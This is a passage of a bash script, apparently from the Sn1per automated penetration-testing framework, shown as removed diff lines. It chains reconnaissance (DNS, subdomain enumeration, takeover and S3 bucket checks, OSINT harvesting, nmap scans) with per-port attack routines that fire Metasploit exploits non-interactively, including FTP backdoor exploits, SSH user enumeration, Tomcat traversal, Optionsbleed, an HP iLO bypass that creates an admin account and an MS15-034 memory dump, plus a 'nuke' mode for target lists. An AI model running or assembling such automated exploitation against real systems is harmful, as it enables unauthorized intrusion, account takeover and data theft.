"${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -A -v -T4 -sU -p $PORT -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml >> $LOOT_DIR/nmap/nmap-$TARGET.txt - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED DONE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - loot - exit -fi - -if [ "$MODE" = "port" ]; then - if [ -z "$PORT" ]; then - echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET" - exit - fi -fi - - - - - - - - - - - - - - - - - - - - - -# NUKE MODE ##################################################################################################### -if [ "$MODE" = "nuke" ]; then - if [ -z "$FILE" ]; then - logo - echo "You need to specify a list of targets (ie. -f ) to scan." - exit - fi - if [ "$REPORT" = "1" ]; then - for a in `cat $FILE`; - do - if [ ! -z "$WORKSPACE" ]; then - args="$args -b -re -o -fp -w $WORKSPACE" - WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $WORKSPACE_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $WORKSPACE_DIR 2> /dev/null - mkdir $WORKSPACE_DIR/domains 2> /dev/null - mkdir $WORKSPACE_DIR/screenshots 2> /dev/null - mkdir $WORKSPACE_DIR/nmap 2> /dev/null - mkdir $WORKSPACE_DIR/notes 2> /dev/null - mkdir $WORKSPACE_DIR/reports 2> /dev/null - mkdir $WORKSPACE_DIR/output 2> /dev/null - fi - args="$args --noreport --noloot" - TARGET="$a" - args="$args -t $TARGET" - echo -e "$OKRED " - echo -e "$OKRED ____" - echo -e "$OKRED __,-~~/~ \`---." - echo -e "$OKRED _/_,---( , )" - echo -e "$OKRED __ / < / ) \___" - echo -e "$OKRED - ------===;;;'====------------------===;;;===----- - -" - echo -e "$OKRED \/ ~'~'~'~'~'~\~'~)~'/" - echo -e "$OKRED (_ ( \ ( > \)" - echo -e "$OKRED \_( _ < >_>'" - echo -e "$OKRED ~ \`-i' ::>|--\"" - echo -e "$OKRED I;|.|.|" - echo -e "$OKRED <|i::|i|\`." - echo -e "$OKRED (\` ^''\`-' ')" - echo -e "$OKRED --------------------------------------------------------- $RESET" - echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET" - echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then - sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - else - sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - fi - args="" - done - fi - if [ "$LOOT" = "1" ]; then - loot - fi - exit -fi - - - - - - - - - - - -# NORMAL SCAN ##################################################################################################### -if [ "$REPORT" = "1" ]; then - args="-t $TARGET" - if [ "$OSINT" = "1" ]; then - args="$args -o" - fi - if [ "$AUTOBRUTE" = "1" ]; then - args="$args -b" - fi - if [ "$FULLNMAPSCAN" = "1" ]; then - args="$args -fp" - fi - if [ "$RECON" = "1" ]; then - args="$args -re" - fi - if [ "MODE" = "port" ]; then - args="$args -m port" - fi - if [ ! -z "$PORT" ]; then - args="$args -p $PORT" - fi - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - fi - args="$args --noreport" - sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +%Y%m%d%H%M`.txt 2>&1 - exit -fi - -echo -e "$OKRED ____ $RESET" -echo -e "$OKRED _________ / _/___ ___ _____$RESET" -echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" -echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" -echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" -echo -e "$OKRED /_/ $RESET" -echo -e "$RESET" -echo -e "$OKORANGE + -- --=[http://xerosecurity.com" -echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" -echo -e "$RESET" - -if [ ! -z $WORKSPACE ]; then - LOOT_DIR=$WORKSPACE_DIR -fi - -echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - -echo -e "${OKGREEN}====================================================================================${RESET}" -echo -e "$OKRED GATHERING DNS INFO $RESET" -echo -e "${OKGREEN}====================================================================================${RESET}" -dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null -dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null -dnsenum $TARGET 2> /dev/null -mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null - -if [ "$RECON" = "1" ]; then - if [ $SCAN_TYPE == "DOMAIN" ]; - then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING WHOIS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whois $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null - if [ "$AMASS" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - amass -whois -ip -brute -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -min-for-recursive 3 -d $TARGET 2>/dev/null - cut -d, -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt - cut -d, -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt > $LOOT_DIR/domains/domains-$TARGET-amass-ips-sorted.txt - fi - - if [ "$SUBFINDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -w $DOMAINS_DEFAULT -d $TARGET 2>/dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ "$DNSCAN" = "1" ]; then - python3 $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_FULL -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-$TARGET-ips.txt - cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt | grep $TARGET | awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null - dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null - fi - echo "" - if [ "$CRTSH" = "1" ]; then - echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" - echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" - echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKBLUE" - curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt - echo "" - echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" - fi - cat $LOOT_DIR/domains/domains-$TARGET-crt.txt > /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt >> /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt >> /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET.txt >> /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/targets.txt >> /tmp/curl.out 2> /dev/null - sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$TARGET-full.txt - rm -f /tmp/curl.out 2> /dev/null - echo -e "$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null - for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i 'wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp' | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done; - if [ "$SUBOVER" = "1" ]; then - subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/takeovers-$TARGET-subover.txt 2>/dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR S3 PUBLIC BUCKETS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ "$CLOUDHUNTER" = "1" ]; then - cloudhunter -d $a | tee $LOOT_DIR/nmap/takeovers-$TARGET-aws.txt -v y 2>/dev/null - cloudhunter -w $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/takeovers-$TARGET-aws-all.txt -v y 2>/dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING EMAIL SECURITY $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/dns-$TARGET-email.txt 2>/dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst | tee $LOOT_DIR/nmap/aquatone-$TARGET-discover.txt 2>/dev/null - aquatone-takeover -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-aquatone.txt 2>/dev/null - aquatone-scan -d $TARGET -t 100 -p80,443 | tee $LOOT_DIR/nmap/aquatone-$TARGET-ports.txt 2>/dev/null - aquatone-gather -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-gather.txt 2>/dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd $PLUGINS_DIR/slurp/ - ./slurp-linux-amd64 domain --domain $TARGET - cd $INSTALL_DIR - echo "" - if [ "$OSINT" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING OSINT INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - theharvester -d $TARGET -l 25 -b all 2> /dev/null - metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html - fi - fi -fi -echo "" -echo -e "${OKGREEN}====================================================================================${RESET}" -echo -e "$OKRED PINGING HOST $RESET" -echo -e "${OKGREEN}====================================================================================${RESET}" -ping -c 1 $TARGET -echo "" -echo -e "${OKGREEN}====================================================================================${RESET}" -echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" -echo -e "${OKGREEN}====================================================================================${RESET}" -if [ -z "$PORT" ]; then - nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt -elif [ "$MODE" == "web" ]; then - nmap -sV -T5 -Pn -p 80,443 --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt -else - nmap -sS -T5 -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt -fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING UDP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" -if [ -z "$PORT" ]; then - nmap -Pn -sU -T4 -p$DEFAULT_UDP_PORTS --open $TARGET -oX $LOOT_DIR/nmap/nmap-udp-$TARGET.xml -else - nmap -Pn -sU -T4 -p$PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-udp-$TARGET.xml -fi - -echo "" -echo -e "${OKGREEN}====================================================================================${RESET}" -echo -e "$OKRED RUNNING INTRUSIVE SCANS $RESET" -echo -e "${OKGREEN}====================================================================================${RESET}" -port_21=`grep 'portid="21"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_22=`grep 'portid="22"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_23=`grep 'portid="23"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_25=`grep 'portid="25"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_53=`grep 'portid="53"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_79=`grep 'portid="79"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_110=`grep 'portid="110"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_111=`grep 'portid="111"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_135=`grep 'portid="135"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_137=`grep 'portid="137"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_139=`grep 'portid="139"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_162=`grep 'portid="162"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_389=`grep 'portid="389"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_445=`grep 'portid="445"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_512=`grep 'portid="512"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_513=`grep 'portid="513"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_514=`grep 'portid="514"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_623=`grep 'portid="623"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_624=`grep 'portid="624"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_1099=`grep 'portid="1099"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_1433=`grep 'portid="1433"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_1524=`grep 'portid="1524"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_2049=`grep 'portid="2049"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_2121=`grep 'portid="2121"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_3128=`grep 'portid="3128"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_3306=`grep 'portid="3306"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_3310=`grep 'portid="3310"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_3389=`grep 'portid="3389"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_3632=`grep 'portid="3632"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_4443=`grep 'portid="4443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_5432=`grep 'portid="5432"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_5800=`grep 'portid="5800"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_5900=`grep 'portid="5900"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_5984=`grep 'portid="5984"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_6667=`grep 'portid="6667"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_8000=`grep 'portid="8000"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_8009=`grep 'portid="8009"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_8080=`grep 'portid="8080"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_8180=`grep 'portid="8180"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_8443=`grep 'portid="8443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_8888=`grep 'portid="8888"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_10000=`grep 'portid="10000"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_16992=`grep 'portid="16992"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_27017=`grep 'portid="27017"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_27018=`grep 'portid="27018"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_27019=`grep 'portid="27019"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_28017=`grep 'portid="28017"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_49152=`grep 'portid="49152"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` - -if [ "$FULLNMAPSCAN" = "1" ]; then - port_67=`grep 'portid="67"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` - port_68=`grep 'portid="68"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` - port_69=`grep 'portid="69"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` - port_123=`grep 'portid="123"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` - port_161=`grep 'portid="161"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` -fi - -if [ -z "$port_21" ]; -then - echo -e "$OKRED + -- --=[Port 21 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 21 opened... running tests...$RESET" - nmap -A -sV -Pn -sC -T5 -p 21 --script=ftp-* $TARGET - msfconsole -x "setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; use auxiliary/scanner/ftp/ftp_version; run; use auxiliary/scanner/ftp/anonymous; run; use exploit/unix/ftp/vsftpd_234_backdoor; run; use unix/ftp/proftpd_133c_backdoor; run; exit;" -fi - -if [ -z "$port_22" ]; -then - echo -e "$OKRED + -- --=[Port 22 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 22 opened... running tests...$RESET" - if [ $DISTRO == "blackarch" ]; then - /bin/ssh-audit $TARGET:22 - else - cd $PLUGINS_DIR/ssh-audit - python ssh-audit.py $TARGET:22 - fi - cd $INSTALL_DIR - nmap -A -sV -Pn -sC -T5 -p 22 --script=ssh-* $TARGET - msfconsole -x "setg USER_FILE "$USER_FILE"; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use auxiliary/scanner/ssh/ssh_version; run; use scanner/ssh/ssh_enumusers; run; use scanner/ssh/ssh_identify_pubkeys; run; use scanner/ssh/ssh_version; run; exit;" -fi - -if [ -z "$port_23" ]; -then - echo -e "$OKRED + -- --=[Port 23 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 23 opened... running tests...$RESET" - echo "" - cisco-torch -A $TARGET - nmap -A -sV -Pn -T5 --script=telnet* -p 23 $TARGET - msfconsole -x "use scanner/telnet/lantronix_telnet_password; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use scanner/telnet/lantronix_telnet_version; run; use scanner/telnet/telnet_encrypt_overflow; run; use scanner/telnet/telnet_ruggedcom; run; use scanner/telnet/telnet_version; run; exit;" -fi - -if [ -z "$port_25" ]; -then - echo -e "$OKRED + -- --=[Port 25 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 25 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=smtp* -p 25 $TARGET - smtp-user-enum -M VRFY -U $USER_FILE -t $TARGET - msfconsole -x "use scanner/smtp/smtp_enum; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; exit;" -fi - -if [ -z "$port_53" ]; -then - echo -e "$OKRED + -- --=[Port 53 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 53 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=dns* -p 53 $TARGET -fi - -if [ -z "$port_67" ]; -then - echo -e "$OKRED + -- --=[Port 67 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 67 opened... running tests...$RESET" - nmap -A -sU -sV -Pn -T5 --script=dhcp* -p 67 $TARGET -fi - -if [ -z "$port_68" ]; -then - echo -e "$OKRED + -- --=[Port 68 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 68 opened... running tests...$RESET" - nmap -A -sU -sV -Pn -T5 --script=dhcp* -p 68 $TARGET -fi - -if [ -z "$port_69" ]; -then - echo -e "$OKRED + -- --=[Port 69 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 69 opened... running tests...$RESET" - nmap -A -sU -sV -Pn -T5 --script=tftp* -p 69 $TARGET -fi - -if [ -z "$port_79" ]; -then - echo -e "$OKRED + -- --=[Port 79 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 79 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=finger* -p 79 $TARGET - bin/fingertool.sh $TARGET $USER_FILE -fi - -if [ -z "$port_80" ]; -then - echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 80 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SERVER INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - - wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null - - curl --connect-timeout 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port80.jpg" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null - fi - if [ "$MODE" = "web" ]; - then - if [ "$PASSIVE_SPIDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null - wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -A -Pn -T5 -p 80 -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - clusterd -i $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url http://$TARGET --batch --disable-tls-checks - echo "" - wpscan --url http://$TARGET/wordpress/ --batch --disable-tls-checks - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CMSMAP $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $CMSMAP -t http://$TARGET - echo "" - python $CMSMAP -t http://$TARGET/wordpress/ - echo "" - if [ "$NIKTO" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http.txt - fi - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "80"; setg SSL false; run; use scanner/http/webdav_website_content; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "80"; set SSL false; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "80"; set SSL false; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "80"; set SSL false; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg 